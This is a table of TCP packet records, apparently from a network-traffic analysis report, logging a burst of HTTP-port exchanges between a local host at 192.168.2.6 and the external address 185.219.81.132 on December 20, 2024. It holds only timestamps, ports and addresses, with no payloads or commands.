Dec 20, 2024 22:52:36.076904058 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.076942921 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.077650070 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.077704906 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.077863932 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.077914000 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.078469992 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.078524113 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.078572035 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.078628063 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.079351902 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.079417944 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.079493046 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.079545021 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.080233097 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.080293894 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.080357075 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.080408096 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.081046104 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.081110954 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.081135988 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.081180096 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.081876993 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.081967115 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.081980944 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.082020998 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.082657099 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.082715034 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.082798958 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.082856894 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.083483934 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.083548069 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.083575964 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.083622932 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.084285021 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.084408045 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.084415913 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.084567070 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.085426092 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.085484982 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.085494995 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.085532904 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.086034060 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.086086988 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.086096048 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.086138964 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.086771965 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.086833000 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.086864948 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.086913109 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.087603092 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.087662935 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.087694883 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.087739944 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.088438034 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.088495016 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.088588953 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.088639021 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.089286089 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.089344025 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.089379072 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.089426041 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.090130091 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.090187073 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.090217113 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.090267897 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.090949059 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.091008902 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.091017962 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.091061115 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.177969933 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.178076982 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.178205967 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.178257942 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.178370953 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.178419113 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.178452969 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.178500891 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.178570986 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.178616047 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.179296970 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.179337978 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.179409027 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.179455042 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.180108070 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.180155993 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.180214882 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.180264950 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.180970907 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.181016922 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.181065083 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.181113005 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.181778908 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.181826115 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.181888103 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.181934118 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.182615995 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.182662010 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.182728052 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.182773113 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.183489084 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.183535099 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.183707952 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.183753014 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.184294939 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.184339046 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.184367895 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.184412003 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.185132027 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.185172081 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.185236931 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.185285091 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.185920000 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.185966969 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.186053038 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.186099052 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.186769009 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.186815023 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.186903000 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.186947107 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.187589884 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.187637091 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.187690973 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.187736034 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.188426971 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.188472986 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.188534975 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.188579082 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.189260960 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.189306974 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.189388037 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.189433098 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.190107107 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.190155983 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.190182924 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.190228939 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.190967083 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.191013098 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.191040039 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.191085100 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.191746950 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.191792965 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.191852093 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.191898108 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.192585945 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.192631006 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.192667961 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.192711115 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.193434000 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.193480015 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.193520069 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.193566084 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.194242954 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.194288969 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.194335938 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.194380045 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.195100069 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.195146084 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.195239067 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.195286036 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.195894957 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.195940018 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.196002960 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.196048021 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.196736097 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.196782112 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.196854115 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.196899891 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.197551966 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.197597027 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.197679043 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.197722912 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.198400974 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.198448896 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.198530912 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.198575020 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.199215889 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.199260950 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.262221098 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.262233019 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.262300968 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.262530088 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.262578011 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.262599945 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.262639999 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.263139009 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.263184071 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.263247013 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.263288975 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.264316082 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.264328003 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.264360905 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.264379025 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.264810085 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.264863014 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.264904976 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.264947891 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.265814066 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.265825987 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.265856981 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.265871048 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.266447067 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.266494989 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.266587019 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.266630888 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.267308950 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.267364025 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.267402887 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.267443895 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.268189907 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.268230915 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.268234015 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.268279076 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.268971920 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.269016981 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.269105911 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.269150972 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.269768953 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.269818068 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.269897938 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.269944906 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.270589113 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.270637989 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.270724058 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.270766020 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.271436930 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.271483898 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.271703959 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.271739006 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.272248030 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.272293091 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.272351027 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.272392988 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.273097992 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.273145914 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.273171902 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.273211956 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.274010897 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.274029970 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.274050951 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.274069071 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.274754047 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.274797916 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.274857998 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.274898052 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.275604963 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.275650024 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.275675058 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.275710106 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.276397943 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.276443958 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.276520014 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.276562929 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.277251005 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.277301073 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.277364969 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.277410030 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.278127909 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.278173923 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.278202057 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.278238058 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.278875113 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.278929949 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.279006958 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.279052019 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.279742002 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.279788971 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.279849052 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.279890060 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.280579090 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.280625105 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.280692101 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.280739069 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.281388044 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.281435966 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.281513929 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.281563997 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.282233000 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.282280922 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.282310009 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.282352924 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.283066988 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.283112049 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.283179045 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.283215046 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.371129990 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.371149063 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.371161938 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.371175051 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.371234894 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.371306896 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.371371984 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.371397972 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.371450901 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.371450901 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.372107029 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.372164965 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.372200966 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.372242928 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.372955084 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.373011112 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.373039961 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.373081923 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.373802900 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.373882055 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.373951912 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.373994112 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.374650955 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.374697924 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.374768972 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.374806881 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.375478029 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.375533104 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.375586987 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.375631094 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.376246929 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.376315117 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.376364946 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.376405954 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.377089024 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.377144098 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.377222061 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.377264023 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.377924919 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.377998114 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.378007889 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.378046989 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.378767967 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.378815889 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.378849983 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.378891945 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.379561901 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.379609108 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.379726887 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.379770041 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.380409956 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.380454063 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.380486012 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.380527020 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.381237030 CET	80	49786	185.219.81.132	192.168.2.6
